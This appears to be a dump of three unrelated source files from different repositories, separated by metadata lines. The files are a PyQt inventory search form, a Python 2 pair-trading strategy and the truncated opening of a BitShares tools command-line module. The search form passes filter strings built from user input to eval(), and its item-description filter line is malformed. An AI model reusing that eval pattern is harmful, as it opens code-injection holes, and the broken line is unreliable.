dateTo.setDate(date_to) dateFrom.blockSignals(False) dateTo.blockSignals(False) dateFrom.emit(SIGNAL('dateChanged(QDate)'), date_from) dateTo.emit(SIGNAL('dateChanged(QDate)'), date_to) def journalNum(self): fType = 'Journal Num' start = str(self.journalRef_lineEdit.text()) self.updateFilterModel(fType, 'JournalHeader.journal_no==%s' % start, start) def journalIDRange(self): fType = 'Journal ID' start = str(self.journalStart_lineEdit.text()) if not start: return start = int(start) end = str(self.journalEnd_lineEdit.text()) if not end: return end = int(end) if end < start: self.journalStart_lineEdit.setText(str(end)) self.journalEnd_lineEdit.setText(str(start)) self.journalIDRange() return self.updateFilterModel(fType, 'JournalHeader.journal_id.between(%i,%i)' % (start, end), 'Between(%i,%i)' % (start, end)) def itemDesc(self): fType = 'Item Description' desc = str(self.itemDesc_lineEdit.text()) self.updateFilterModel(fType, 'unionQuery.c.itemDesc.ilike("%%%s%%"))' % (desc, desc), desc) def journalType(self): fType = 'Journal Type' jType = str(self.journalFilter_combo.currentText()) crit = 'JournalHeader.journal_type=="%s"' % jType if jType == 'Receive': crit = 'or_(JournalHeader.journal_type=="Bill", JournalHeader.journal_type=="Credit")' self.updateFilterModel(fType, crit, jType) def itemType(self): fType = 'Item Type' rmdType = self.rmFilter_checkBox.isChecked() fgdType = self.fgFilter_checkBox.isChecked() if rmdType == 1: self.updateFilterModel(fType, 'unionQuery.c.itemType=="RMD"', 'Raw Materials') elif fgdType == 1: self.updateFilterModel(fType, 'unionQuery.c.itemType=="FGD"', 'Finished Goods') def dateRange(self): fType = 'Date range' fromDate = self.dateLowFilter_dateEdit.date() fromDate = fromDate.toPyDate() toDate = self.dateHiFilter_dateEdit.date() toDate = toDate.toPyDate() if toDate < fromDate: self.dateLowFilter_dateEdit.setDate(toDate) self.dateHiFilter_dateEdit.setDate(fromDate) self.dateRange() return self.updateFilterModel(fType, 'JournalHeader.journal_date.between("%s", "%s")' % (fromDate, toDate), 'Between(%s, %s)' % (fromDate, toDate)) def modDateRange(self): fType = 'Modified Range' fromDate = self.modDateLowFilter_dateEdit.date() fromDate = fromDate.toPyDate() toDate = self.modDateHiFilter_dateEdit.date() toDate = toDate.toPyDate() if toDate < fromDate: self.modDateLowFilter_dateEdit.setDate(toDate) self.modDateHiFilter_dateEdit.setDate(fromDate) self.modDateRange() return self.updateFilterModel(fType, 'JournalHeader.modified_date.between("%s", "%s")' % (fromDate, toDate), 'Between(%s, %s)' % (fromDate, toDate)) def updateFilterModel(self, fType, filter, setTo): index = self.filterModel.index(0, 1) m = self.filterModel.match(index, Qt.DisplayRole, QVariant(fType), 1) if len(m) <= 0: position = self.ItemList.rowCount() + 1 self.filterModel.insertRows(position, FilterList(QString(filter), QString(fType), QString(setTo))) else: for i in m: row = i.row() index = self.filterModel.index(row, 0) self.filterModel.setData(index, QVariant(filter), Qt.EditRole) index = self.filterModel.index(row, 2) self.filterModel.setData(index, QVariant(setTo), Qt.EditRole) self.criteria_tableView.resizeColumnsToContents() ## == Form layout setup def layoutChange(self): jType = self.journal_combo.currentIndex() if jType == RECEIVE: self.supplier_combo.setVisible(True) self.supplier_label.setVisible(True) self.amount_label.setVisible(True) self.amountLow_lineEdit.setVisible(True) self.amount_and_label.setVisible(True) self.amountHi_lineEdit.setVisible(True) self.batchDesc_lineEdit.setVisible(False) self.supplier_label.setText('Supplier') elif jType == BATCH: self.supplier_combo.setVisible(False) self.amount_label.setVisible(False) self.amountLow_lineEdit.setVisible(False) self.amount_and_label.setVisible(False) self.amountHi_lineEdit.setVisible(False) self.batchDesc_lineEdit.setVisible(True) self.supplier_label.setText('Description') elif jType in (PRODUCTION, ADJUSTMENT, PREP): self.supplier_combo.setVisible(False) self.amount_label.setVisible(False) self.amountLow_lineEdit.setVisible(False) self.amount_and_label.setVisible(False) self.amountHi_lineEdit.setVisible(False) self.batchDesc_lineEdit.setVisible(False) self.supplier_label.setVisible(False) def getDate(self): if self.dateRange_combo.currentText() == 'All': return ("", "") else: date_low = self.dateLow_dateEdit.date() date_low = date_low.toPyDate() date_hi = self.dateHi_dateEdit.date() date_hi = date_hi.toPyDate() dateTupple = (date_low, date_hi) return dateTupple ## == Form operations def find(self): if self.tabWidget.currentIndex() == 0: self.standardFind() elif self.tabWidget.currentIndex() == 1: self.detailFind() def standardFind(self): jType = self.journal_combo.currentIndex() journal_no = str(self.number_lineEdit.text()) supplier_id = dLookup(Suppliers.supplier_id, Suppliers.supplier_name==str(self.supplier_combo.currentText())) amount_low = str(self.amountLow_lineEdit.text()) amount_hi = str(self.amountHi_lineEdit.text()) batch_desc = str(self.batchDesc_lineEdit.text()) date_low, date_hi = self.getDate() if jType == RECEIVE: journalNo_filter = ReceiveHeader.journal_no.ilike('%%%s%%' % journal_no) \ if journal_no else "" supplierId_filter = ReceiveHeader.supplier_id == supplier_id \ if supplier_id else "" if amount_low and amount_hi: amount_low = int(amount_low) amount_hi = int(amount_hi) amount_filter = ReceiveHeader.journal_total.between(amount_low, amount_hi) elif not amount_low or not amount_hi: amount_filter = "" if self.dateRange_combo.currentText() == 'All': date_filter = "" elif not self.dateRange_combo.currentText() == 'All': date_filter = ReceiveHeader.journal_date.between(date_low, date_hi) self.query = self.session.query(ReceiveHeader).filter(or_(ReceiveHeader.journal_type=='Bill', ReceiveHeader.journal_type=='Credit')) \ .filter(journalNo_filter).filter(supplierId_filter).filter(amount_filter).filter(date_filter) self.fieldList = [('ID', 'journal_id', 50, 'string'), ('Type', 'journal_type', 50, 'string'), ('No', 'journal_no', 75, 'string'), ('Date', 'journal_date', 150, 'date'), ('Supplier', 'supplier_name', 150, 'string'), ('Amount', 'journal_total', 50, 'number'), ('Modified', 'modified_date', 150, 'date'), ('Memo', 'journal_memo', 150, 'string')] self.reportName = 'Receiving List' self.columnsToTotal = [(5,)] elif jType == BATCH: journalNo_filter = or_(BatchHeader.batch_id==journal_no, BatchHeader.base_no==journal_no) \ if journal_no else "" batchDesc_filter = BatchHeader.base_desc == batch_desc \ if batch_desc else "" if self.dateRange_combo.currentText() == 'All': date_filter = "" elif not self.dateRange_combo.currentText() == 'All': date_filter = BatchHeader.batch_date.between(date_low, date_hi) self.query = self.session.query(BatchHeader).filter(journalNo_filter).filter(batchDesc_filter).filter(date_filter) self.fieldList = [('ID', 'batch_id', 50, 'string'), ('Base No.', 'base_no', 50, 'string'), ('Date', 'batch_date', 75, 'date'), ('Journal', 'journal_id', 50, 'string'), ('Memo', 'batch_memo', 150, 'string')] self.reportName = 'Batch List' self.columnsToTotal = [] elif jType == PRODUCTION: journalNo_filter = or_(ProductionHeader.journal_no.ilike('%%%s%%' % journal_no), ProductionHeader.journal_id == journal_no) \ if journal_no else "" if self.dateRange_combo.currentText() == 'All': date_filter = "" elif not self.dateRange_combo.currentText() == 'All': date_filter = ProductionHeader.journal_date.between(date_low, date_hi) self.query = self.session.query(ProductionHeader).filter(journalNo_filter).filter(date_filter) self.fieldList = [('ID', 'journal_id', 50, 'string'), ('Production No', 'journal_id', 50, 'string'), ('Ref No', 'journal_no', 50, 'string'), ('Date', 'journal_date', 75, 'date'), ('Modified', 'modified_date', 150, 'date'), ('Memo', 'journal_memo', 150, 'string')] self.reportName = 'Production List' self.columnsToTotal = [] elif jType == ADJUSTMENT: journalNo_filter = or_(AdjustmentHeader.journal_no.ilike('%%%s%%' % journal_no), AdjustmentHeader.journal_id == journal_no) \ if journal_no else "" if self.dateRange_combo.currentText() == 'All': date_filter = "" elif not self.dateRange_combo.currentText() == 'All': date_filter = AdjustmentHeader.journal_date.between(date_low, date_hi) self.query = self.session.query(AdjustmentHeader).filter(journalNo_filter).filter(date_filter) self.fieldList = [('ID', 'journal_id', 0, 'string'), ('No', 'journal_id', 50 ,'string'), ('Date', 'journal_date', 75, 'date'), ('Modified', 'modified_date', 150, 'date'), ('Memo', 'journal_memo', 150, 'string')] self.reportName = 'Adjustment List' self.columnsToTotal = [] elif jType == PREP: journalNo_filter = PrepHeader.prep_id.ilike('%%%s%%' % journal_no) if journal_no else "" if self.dateRange_combo.currentText() == 'All': date_filter = "" elif not self.dateRange_combo.currentText() == 'All': date_filter = AdjustmentHeader.journal_date.between(date_low, date_hi) self.query = self.session.query(PrepHeader).filter(journalNo_filter).filter(date_filter) self.fieldList = [('ID', 'prep_id', 0, 'string'), ('Date', 'prep_date', 75, 'date'), ('Memo', 'prep_memo', 150, 'string')] self.reportName = 'Preparation List' self.columnsToTotal = [] self.populateView() def detailFind(self): rmd_list = self.session.query(RMD.journal_id, (RMD.bom_id).label('itemID'), (RMD.total / RMD.qty).label('rmdCost'), (BOM.bom_no).label('itemNo'), (BOM.bom_desc).label('itemDesc'), BOM.supplier_id.label('supplierId'), JournalHeader.journal_id, JournalHeader.journal_no, JournalHeader.journal_date, JournalHeader.journal_type, literal_column('"RMD"').label('itemType')) \ .join(BOM).join(JournalHeader) fgd_list = self.session.query(FGD.journal_id, (FGD.item_id).label('itemID'), FGD.cost, (Items.item_no).label('itemNo'), (Items.item_desc).label('itemDesc'), literal_column('"AW Products"').label('supplierId'), JournalHeader.journal_id, JournalHeader.journal_no, JournalHeader.journal_date, JournalHeader.journal_type, literal_column('"FGD"').label('itemType')) \ .join(Items).join(JournalHeader) unionQuery = rmd_list.union(fgd_list).subquery() query = self.session.query(unionQuery).join(JournalHeader) itemCrit = self.ItemList.getList() itemLine = ''.join(i for i in itemCrit)[:-2] itemFilter = "or_(%s)" % itemLine query = query.filter(eval(itemFilter)) if itemCrit else query supCrit = self.supplier_list.getList() supLine = ''.join(i for i in supCrit)[:-2] supFilter = "or_(%s)" % supLine query = query.filter(eval(supFilter)) if supCrit else query critList = self.filterModel.getFilterCriteria() for crit in critList: query = query.filter(eval(crit)) self.fieldList = [('ID', 'journal_id', 25, 'string'), ('Journal', 'journal_type', 70, 'string'), ('No', 'journal_no', 75, 'string'), ('Date', 'journal_date', 75, 'date'), ('Item', 'item_no', 50, 'string'), ('Description', 'item_desc', 200, 'string'), ('Cost', 'item_cost', 50, 'number')] self.reportName = 'Detail Find List' self.columnsToTotal = [] self.query = [] for i in query: journal_id = i[0] item_no = i[3] item_desc = i[4] item_cost = nonZero(i[2], 0) journal_no = i[7] journal_date = i[8] journal_type = i[9] self.query += [DetailFind(journal_id, item_no, item_desc, item_cost, journal_no, journal_date, journal_type)] self.populateView() def populateView(self): self.model = modelsandviews.FindResultModel(self.fieldList) self.model.load(self.query) self.proxyModel.setSourceModel(self.model) self.results_tableView.setModel(self.proxyModel) self.results_tableView.setSortingEnabled(True) self.v_results_label.setText('%s - Results' % len(self.model.results)) self.resizeView() def resizeView(self): self.results_tableView.resizeColumnsToContents() self.results_tableView.horizontalHeader().setStretchLastSection(True) # self.results_tableView.setColumnHidden(0, True) def edit(self): if not self.model: return jType = self.journal_combo.currentIndex() row = self.results_tableView.currentIndex().row() recordIndex = self.proxyModel.index(row, 0) recordID = self.proxyModel.data(recordIndex).toInt()[0] self.editTransaction(jType, recordID) def editTransaction(self, jType, recordID): if jType == RECEIVE: form = self.myParent.receiveForm() form.recall(recordID) elif jType == BATCH: form = self.myParent.batchForm() form.recall(1, recordID) elif jType == PRODUCTION: form = self.myParent.productionForm() form.recall(recordID) elif jType == ADJUSTMENT: form = self.myParent.invAdjustment() form.recall(recordID) elif jType == PREP: form = self.myParent.prodprepForm() form.recall(recordID) def clear(self): widgets = self.findChildren(QWidget) for widget in widgets: if isinstance(widget, (QLineEdit, QTextEdit)): widget.clear() elif isinstance(widget, QComboBox): widget.setCurrentIndex(-1) elif isinstance(widget, QCheckBox): widget.setChecked(False) elif isinstance(widget, QLabel): if widget.objectName()[:2] == 'v_': widget.clear() self.dateRange_combo.setCurrentIndex(0) self.dateFilter_combo.setCurrentIndex(0) if self.model is not None: self.model.clear() def printReport(self): if not self.model: return reportModel = reporting.ReportModel('Simple List') self.refreshReport(reportModel) report_type = 'trans_header_report' if self.tabWidget.currentIndex() == 0 else 'trans_detail_report' self.myParent.reportForm(reportModel, self, report_type) def refreshReport(self, model, report=None): fromDate, toDate = self.getDate() if fromDate and toDate: period = 'From %s To %s.' % (fromDate, toDate) elif toDate: period = 'As of %s.' % toDate else: period = 'All available dates.' model.load(self.reportName, period, self.query, self.fieldList, self.columnsToTotal) def formClosed(self): self.myParent.formClosed() if __name__ == '__main__': app = QApplication(sys.argv) setupDatabase("Production.sqlite") supModel = modelsandviews.SupplierModel() # itmModel = modelsandviews.ItemModel() # bsModel = modelsandviews.BaseListModel() form = FindForm(supModel) form.show() app.exec_()
mit
5,236,492,352,790,907,000
44.886
146
0.586
false
sharmaking/PairTradeBTS
multipleStrategy/statisticalArbitrageMultiple.py
1
4640
#!/usr/bin/python # -*- coding: utf-8 -*- #statisticalArbitrageMultiple.py import baseMultiple import numpy, copy, csv class CStatisticalArbitrageMultiple(baseMultiple.CBaseMultiple): #------------------------------ #继承重载函数 #------------------------------ #自定义初始化函数 def customInit(self): self.name = "statisticalArbitrageMultiple" self.parameters = [] self.loadPara() #行情数据触发函数 def onRtnMarketData(self, data): #计算S self.countS(data) pass def dayEnd(self): pass #自动保存缓存触发函数 def autosaveCache(self): self.saveCache(parameters = self.parameters) pass #---------------------- #实现函数体 #---------------------- def loadPara(self): reader = csv.reader(open("filtPara.csv")) for line in reader: self.parameters.append({ "stocks" : [line[0][:6], line[0][7:13]], "Beta" : float(line[1]), "Mean" : float(line[2]), "STD" : float(line[3]), "OPEN" : float(line[5]), "CLOSE" : float(line[6]), "ODD" : float(line[7]), "staute" : 0, "tradeType" : [None, None], "price" : [0,0], "S" : (0,0) }) def countS(self, data): for parameter in self.parameters: Pa = self.getStockPrice(parameter["stocks"][0]) Pb = self.getStockPrice(parameter["stocks"][1]) if Pa and Pb: St = numpy.log(Pa) - parameter["Beta"]*numpy.log(Pb) S = (St - parameter["Mean"])/parameter["STD"] parameter["price"] = [Pa, Pb] parameter["S"] = (data["dateTime"], S) #self.sendS(S, parameter["stocks"][0], data["dateTime"], Pa, Pb) self.countTrade(parameter, S) def getStockPrice(self, stockCode): if self.actuatorDict[stockCode].signalObjDict["baseSignal"].MDList: return copy.copy(self.actuatorDict[stockCode].signalObjDict["baseSignal"].MDList[-1]["close"]) return None def countTrade(self, parameter, S): if parameter["staute"] == 0: #还没开仓 if S > parameter["OPEN"]: self.openTrade(parameter, True) #正 elif S < -parameter["OPEN"]: self.openTrade(parameter, False) #反 elif parameter["staute"] == 1: #已经开仓 if parameter["tradeType"][0] == "Sell": #正 if S < parameter["CLOSE"]: #平 self.closeTrade(parameter) if S > parameter["ODD"]: #止损 self.stopLossTrade(parameter) elif parameter["tradeType"][0] == "Buy": #反 if S > -parameter["CLOSE"]: #平 self.closeTrade(parameter) if S < -parameter["ODD"]: #止损 self.stopLossTrade(parameter) if parameter["staute"] != 2: if S > parameter["ODD"] or S < -parameter["ODD"]: self.stopLossTrade(parameter) def sendS(self, S, stockCode, dateTime, Pa, Pb): self.sendMessageToClient("0_%s_%s_%s_%f_%f"%(stockCode, str(S)[:6], dateTime, Pa, Pb)) def openTrade(self, parameter, isTrue): parameter["staute"] = 1 if isTrue: #正 parameter["tradeType"] = ["Sell", "Buy"] else: #反 parameter["tradeType"] = ["Buy", "Sell"] self.sendMessageToClient("%s-%s,%s,Open:,%s,%s,%s, %s,%s,%s"%( parameter["stocks"][0], parameter["stocks"][1], str(parameter["S"][0]), parameter["stocks"][0], parameter["tradeType"][0], parameter["price"][0], parameter["stocks"][1], parameter["tradeType"][1], parameter["price"][1])) def closeTrade(self, parameter): self.sendMessageToClient("%s-%s,%s,Close:,%s,%s,%s, %s,%s,%s"%( parameter["stocks"][0], parameter["stocks"][1], str(parameter["S"][0]), parameter["stocks"][0], parameter["tradeType"][1], parameter["price"][0], parameter["stocks"][1], parameter["tradeType"][0], parameter["price"][1])) parameter["staute"] = 0 parameter["tradeType"] = [None, None] def stopLossTrade(self, parameter): self.sendMessageToClient("%s-%s,%s,StopLoss:,%s,%s,%s, %s,%s,%s"%( parameter["stocks"][0], parameter["stocks"][1], str(parameter["S"][0]), parameter["stocks"][0], parameter["tradeType"][1],parameter["price"][0], parameter["stocks"][1], parameter["tradeType"][0],parameter["price"][1])) parameter["staute"] = 2 parameter["tradeType"] = [None, None] def exceptionTrade(self, parameter): self.sendMessageToClient("%s-%s,%s,StopLoss:,%s,%s,%s, %s,%s,%s"%( parameter["stocks"][0], parameter["stocks"][1], str(parameter["S"][0]), parameter["stocks"][0], parameter["tradeType"][1],parameter["price"][0], parameter["stocks"][1], parameter["tradeType"][0],parameter["price"][1])) parameter["staute"] = 2 parameter["tradeType"] = [None, None] def sendMessageToClient(self, string): print self.MDList[-1]["dateTime"], string logFile = open("tradePointsFinal.csv", "a") content = string + "\n" logFile.write(content) logFile.close() pass
mit
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36.372
97
0.623
false
wackou/bts_tools
bts_tools/cmdline.py
1
24237
#!/usr/bin/env python # -*- coding: utf-8 -*- # # bts_tools - Tools to easily manage the bitshares client # Copyright (c) 2014 Nicolas Wack <wackou@gmail.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # from os.path import join, dirname, exists, islink, expanduser, basename from argparse import RawTextHelpFormatter from contextlib import suppress from pathlib import Path from ruamel import yaml from .core import (platform, run, get_data_dir, get_bin_name, get_gui_bin_name, get_cli_bin_name, get_all_bin_names, get_full_bin_name, hash_salt_password) from .privatekey import PrivateKey from . import core, init from .rpcutils import rpc_call, GrapheneClient import argparse import os import sys import copy import shutil import pendulum import inspect import logging log = logging.getLogger(__name__) BUILD_ENV = None CLIENT = None def select_build_environment(env_name): log.info("Using build environment '%s' on platform: '%s'" % (env_name, platform)) if platform not in ['linux', 'darwin']: